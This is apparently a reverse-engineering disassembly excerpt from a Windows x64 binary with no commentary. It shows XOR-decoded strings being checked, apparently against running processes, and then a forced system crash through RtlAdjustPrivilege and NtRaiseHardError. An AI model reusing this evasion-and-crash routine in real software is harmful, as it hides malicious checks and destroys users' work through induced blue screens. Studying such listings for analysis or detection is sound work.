lea rdx, [rbp + 0xa0]
add rdx, rcx
lea ecx, [r8 + 0x13]
xor byte [rdx], cl
inc r8d
cmp r8d, 0xe
jb 0x140023c60
mov byte [rbp + 0xae], al
lea rcx, [rbp + 0xa0]
call fcn.140022990
test al, al
jne 0x14002413d
movzx r15d, byte [rsp + 0x3e]
mov byte [rbp + 0xb0], r15b
mov byte [rbp + 0xb1], r12b
mov byte [rbp + 0xb2], bl
mov byte [rbp + 0xb3], dil
mov byte [rbp + 0xb4], r14b
movzx eax, byte [rsp + 0x47]
mov byte [rbp + 0xb5], al
mov edx, 6
mov cl, 0x75
call fcn.140001420
mov byte [rbp + 0xb6], al
mov edx, 7
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140001420
mov byte [rbp + 0xb7], al
movzx edi, byte [rsp + 0x31]
mov byte [rbp + 0xb8], dil
mov edx, 9
mov cl, WSAStartup
call fcn.140001420
mov byte [rbp + 0xb9], al
mov byte [rbp + 0xba], sil
movzx eax, byte [rsp + 0x36]
mov byte [rbp + 0xbb], al
movzx eax, byte [rsp + 0x3b]
mov byte [rbp + 0xbc], al
movzx eax, byte [rsp + 0x48]
mov byte [rbp + 0xbd], al
xor eax, eax
mov byte [rbp + 0xbe], al
xor edx, edx
nop dword [rax]
movsxd rax, edx
lea rcx, [rbp + 0xb0]
add rcx, rax
lea eax, [rdx + 0x13]
xor byte [rcx], al
inc edx
cmp edx, 0xe
jb 0x140023d40
mov byte [rbp + 0xbe], 0
lea rcx, [rbp + 0xb0]
call fcn.140022990
test al, al
jne 0x140024142
xor edx, edx
mov cl, 0x56
call fcn.140001420
movzx esi, al
mov byte [rsp + 0x58], al
mov edx, 1
mov cl, 0x47
call fcn.140001420
mov byte [rsp + 0x59], al
mov edx, 2
mov cl, 0x41
call fcn.140001420
mov byte [rsp + 0x5a], al
mov edx, 3
mov cl, 0x75
call fcn.140001420
mov byte [rsp + 0x5b], al
mov edx, 4
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140001420
movzx ebx, al
mov byte [rsp + 0x5c], al
mov edx, 5
mov cl, 0x68
call fcn.140001420
movzx edi, al
mov byte [rsp + 0x5d], al
mov edx, 6
mov cl, 0x53
call fcn.140001420
mov byte [rsp + 0x5e], al
movzx eax, byte [rsp + 0x37]
mov byte [rsp + 0x5f], al
mov edx, 8
mov cl, WSAStartup
call fcn.140001420
mov byte [rsp + 0x60], al
mov edx, 9
mov cl, 0x76
call fcn.140001420
mov byte [rsp + 0x61], al
mov edx, 0xa
mov cl, 0x69
call fcn.140001420
mov byte [rsp + 0x62], al
mov edx, ntohs
mov cl, 0x63
call fcn.140001420
mov byte [rsp + 0x63], al
movzx eax, byte [rsp + 0x79]
mov byte [rsp + 0x64], al
movzx eax, byte [rsp + 0x49]
mov byte [rsp + 0x65], al
movzx eax, byte [rsp + 0x4a]
mov byte [rsp + 0x66], al
movzx eax, byte [rsp + 0x4b]
mov byte [rsp + 0x67], al
movzx eax, byte [rsp + 0x4c]
mov byte [rsp + 0x68], al
xor eax, eax
mov byte [rsp + 0x69], al
xor edx, edx
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x58]
add rcx, rax
lea eax, [rdx + 0x13]
xor byte [rcx], al
inc edx
cmp edx, 0x11
jb 0x140023e70
mov byte [rsp + 0x69], 0
lea rcx, [rsp + 0x58]
call fcn.140022990
test al, al
jne 0x14002413d
mov byte [rbp + 0x90], r15b
mov byte [rbp + 0x91], r12b
movzx eax, byte [rsp + 0x34]
mov byte [rbp + 0x92], al
movzx eax, byte [rsp + 0x7a]
mov byte [rbp + 0x93], al
mov byte [rbp + 0x94], bl
mov byte [rbp + 0x95], dil
mov edx, 6
mov cl, 0x6c
call fcn.140001420
mov byte [rbp + 0x96], al
mov edx, 7
mov cl, 0x70
call fcn.140001420
mov byte [rbp + 0x97], al
movzx eax, byte [rsp + 0x3f]
mov byte [rbp + 0x98], al
movzx edi, byte [rsp + 0x35]
mov byte [rbp + 0x99], dil
movzx eax, byte [rsp + 0x3d]
mov byte [rbp + 0x9a], al
movzx eax, byte [rsp + 0x36]
mov byte [rbp + 0x9b], al
xor eax, eax
mov byte [rbp + 0x9c], al
xor edx, edx
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rbp + 0x90]
add rcx, rax
lea eax, [rdx + 0x13]
xor byte [rcx], al
inc edx
cmp edx, 0xc
jb 0x140023f30
mov byte [rbp + 0x9c], 0
lea rcx, [rbp + 0x90]
call fcn.140022990
test al, al
jne 0x14002413d
mov byte [rbp + 0x30], sil
mov edx, 1
mov cl, 0x4d
call fcn.140001420
movzx ebx, al
mov byte [rbp + 0x31], al
mov edx, 2
mov cl, 0x53
call fcn.140001420
mov byte [rbp + 0x32], al
mov edx, 3
mov cl, WSAStartup
call fcn.140001420
mov byte [rbp + 0x33], al
mov edx, 4
mov cl, 0x76
call fcn.140001420
mov byte [rbp + 0x34], al
mov edx, 5
mov cl, 0x63
call fcn.140001420
mov byte [rbp + 0x35], al
movzx eax, byte [rsp + 0x39]
mov byte [rbp + 0x36], al
movzx eax, byte [rsp + 0x37]
mov byte [rbp + 0x37], al
movzx eax, byte [rsp + 0x3a]
mov byte [rbp + 0x38], al
mov byte [rbp + 0x39], dil
xor eax, eax
mov byte [rbp + 0x3a], al
xor edx, edx
nop dword [rax]
movsxd rax, edx
lea rcx, [rbp + 0x30]
add rcx, rax
lea eax, [rdx + 0x13]
xor byte [rcx], al
inc edx
cmp edx, 0xa
jb 0x140023fe0
mov byte [rbp + 0x3a], 0
lea rcx, [rbp + 0x30]
call fcn.140022990
test al, al
jne 0x14002413d
mov byte [rbp + 0x70], sil
mov byte [rbp + 0x71], bl
mov edx, 2
mov cl, 0x55
call fcn.140001420
mov byte [rbp + 0x72], al
mov edx, 3
mov cl, 0x53
call fcn.140001420
mov byte [rbp + 0x73], al
mov byte [rbp + 0x74], r14b
mov edx, 5
mov cl, 0x76
call fcn.140001420
mov byte [rbp + 0x75], al
movzx eax, byte [rsp + 0x7b]
mov byte [rbp + 0x76], al
movzx ebx, byte [rsp + 0x30]
mov byte [rbp + 0x77], bl
movzx edi, byte [rsp + 0x31]
mov byte [rbp + 0x78], dil
movzx esi, byte [rsp + 0x33]
mov byte [rbp + 0x79], sil
movzx r12d, byte [rsp + 0x32]
mov byte [rbp + 0x7a], r12b
xor eax, eax
mov byte [rbp + 0x7b], al
xor edx, edx
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rbp + 0x70]
add rcx, rax
lea eax, [rdx + 0x13]
xor byte [rcx], al
inc edx
cmp edx, 0xb
jb 0x140024080
mov byte [rbp + 0x7b], 0
lea rcx, [rbp + 0x70]
call fcn.140022990
test al, al
jne 0x140024152
movzx eax, byte [rsp + 0x7c]
mov byte [rbp + 0x60], al
mov edx, 1
mov cl, 0x61
call fcn.140001420
mov byte [rbp + 0x61], al
movzx eax, byte [rsp + 0x7d]
mov byte [rbp + 0x62], al
movzx eax, byte [rsp + 0x4d]
mov byte [rbp + 0x63], al
movzx eax, byte [rsp + 0x7e]
mov byte [rbp + 0x64], al
mov byte [rbp + 0x65], r13b
mov edx, 6
mov cl, 0x78
call fcn.140001420
mov byte [rbp + 0x66], al
mov byte [rbp + 0x67], bl
mov byte [rbp + 0x68], dil
mov byte [rbp + 0x69], sil
mov byte [rbp + 0x6a], r12b
xor eax, eax
mov byte [rbp + 0x6b], al
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rbp + 0x60]
add rcx, rax
lea eax, [rdx + 0x13]
xor byte [rcx], al
inc edx
cmp edx, 0xb
jb 0x140024110
mov byte [rbp + 0x6b], 0
lea rcx, [rbp + 0x60]
call fcn.140022990
test al, al
je 0x1400241dd
jmp 0x140024152
movzx edi, byte [rsp + 0x31]
movzx r12d, byte [rsp + 0x32]
movzx esi, byte [rsp + 0x33]
movzx ebx, byte [rsp + 0x30]
lea rax, [rsp + 0x58]
mov qword [rbp + 0xd0], rax
xor eax, eax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], reloc.WS2_32.dll_ntohs
lea r8d, [rax + 0xf]
lea rdx, str.Procces_Running
lea rcx, [rsp + 0x58]
call fcn.140001fc0
nop
lea rdx, [rbp - 0x78]
call fcn.140001560
nop
lea r8, [rsp + 0x58]
mov rdx, rax
call fcn.140022120
lea r9, [rbp + 0xe0]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rax, [rbp + 0xe4]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc0000420
call qword [sym.imp.ntdll.dll_NtRaiseHardError]
mov qword [rbp + 0xd0], 0x64
lea rcx, [rbp + 0xd0]
call fcn.140024240
movzx r8d, byte [rsp + 0x4e]
movzx r9d, byte [rsp + 0x4f]
movzx r10d, byte [rsp + 0x50]
movzx r11d, byte [rsp + 0x53]
movzx r14d, byte [rsp + 0x51]
movzx r15d, byte [rsp + 0x52]
movzx r13d, byte [rsp + 0x7f]
jmp 0x140022b50
movzx edi, byte [rsp + 0x31]
movzx r12d, byte [rsp + 0x32]
jmp 0x14002414d
movzx edi, byte [rsp + 0x31]
jmp 0x14002414d